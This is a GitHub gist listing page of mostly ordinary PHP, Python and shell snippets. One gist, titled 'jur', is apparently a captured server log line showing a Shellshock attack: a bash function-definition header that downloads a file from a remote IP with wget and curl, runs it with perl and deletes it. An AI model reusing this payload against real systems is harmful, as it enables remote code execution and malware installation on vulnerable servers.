Skip to content

Instantly share code, notes, and snippets.

View saji89's full-sized avatar

Saji Nediyanchath saji89

View GitHub Profile
@saji89
saji89 / extract-attachments.py
Created August 28, 2018 18:36 — forked from stefansundin/extract-attachments.py
Extract attachments from emails that Gmail doesn't allow you to download. This is dumb. Please use Python >= 3.4.
#!/usr/bin/env python3
# Get your files that Gmail block. Warning message:
# "Anti-virus warning - 1 attachment contains a virus or blocked file. Downloading this attachment is disabled."
# Based on: https://spapas.github.io/2014/10/23/retrieve-gmail-blocked-attachments/
# Instructions:
# Go to your emails, click the arrow button in the top right, "Show original", then "Download Original".
# Move the files to the same directory as this program, then run it.
import email
@saji89
saji89 / sublime-phpcs.md
Last active May 1, 2023 21:32
Steps to setup PHP code sniffer package in Sublime text

Steps

  1. Install the package using Package Control - PhpCs(sublime-phpcs)

  2. Download the phar files needed for the functioning of the plugin:

curl -OL https://squizlabs.github.io/PHP_CodeSniffer/phpcs.phar
curl -OL https://squizlabs.github.io/PHP_CodeSniffer/phpcbf.phar
@saji89
saji89 / Laravel\app\commands\ViewsCommand.php
Created June 10, 2016 12:37 — forked from cjonstrup/Laravel\app\commands\ViewsCommand.php
Clear Laravel 4.* app/storage/views artisan views:clear
<?php
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class ViewsCommand extends Command {
/**
* The console command name.
*
* @var string
@saji89
saji89 / json_unicode_decode.php
Created October 15, 2015 06:41
Unicode encoded value conversion
<?php
function unescapeUTF8EscapeSeq($str)
{
return preg_replace_callback("/\\\u([0-9a-f]{4})/i",
create_function('$matches',
'return html_entity_decode(\'&#x\'.$matches[1].\';\', ENT_QUOTES, \'UTF-8\');'
), $str);
}
$unicodeEncodedvalue = '\u041d\u0438\u043a\u043e\u043b\u0430\u0439 \u0420\u0435\u0448\u0438\u0442\u043a\u043e';
@saji89
saji89 / cakeconvention.md
Last active August 29, 2015 14:08
Cake PHP Conventions

Controller class names

Plural, CamelCased, and end in Controller


Multiword Controller URLS's

Multiple word controllers can be any ‘inflected’ form which equals the controller name so:

@saji89
saji89 / commands.md
Created October 3, 2014 06:14
Commands of interest
    find . \( -name "*.c" -o -name "*.h" -o -name "*.sc" -o -name "*.ini" \) -print
    
    find . -type f \( -name "*.avi" -name "*.mp4" -name "*.mkv" -name "*.mpg" -name "*.mpeg"\)
@saji89
saji89 / test.md
Last active August 29, 2015 14:07
Abstract class vs Interface (In PHP)
Abstract Class Interface
A method must be declared as abstract. Abstract methods doesn't have any implementation All methods, by default are abstract methods only. So, one cannot declare variables or concrete methods in interfaces
Abstract methods can be declared with access modifiers like public, private, protected. When implementing in subclass these methods must be defined with the same visibility All methods in an interface must be declared public
Abstract class can contain variables and concrete methods Interface cannot contain variables and concrete methods, except constants
A class can inherit only one abstract class ( multiple inheritance is not possible ) A class can implement, many interfaces ( multiple inheritance is possible )

e.g:

Abstract class

@saji89
saji89 / abstract vs interface
Created October 1, 2014 09:41
abstract vs interface
| Tables | Are | Cool |
| ------------- |:-------------:| -----:|
| col 3 is | right-aligned | $1600 |
| col 2 is | centered | $12 |
| zebra stripes | are neat | $1 |
@saji89
saji89 / jur
Last active August 29, 2015 14:06
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22
@saji89
saji89 / Pure-CSS-Taj-Mahal.markdown
Created April 19, 2014 12:27
A Pen by jan dennison.

Pure CSS Taj Mahal

Pure CSS Taj Mahal by Jan Dennison @jannypie Inspired by the pure CSS White House by Kevin Jannis @kevinjannis

A Pen by jan dennison on CodePen.

License.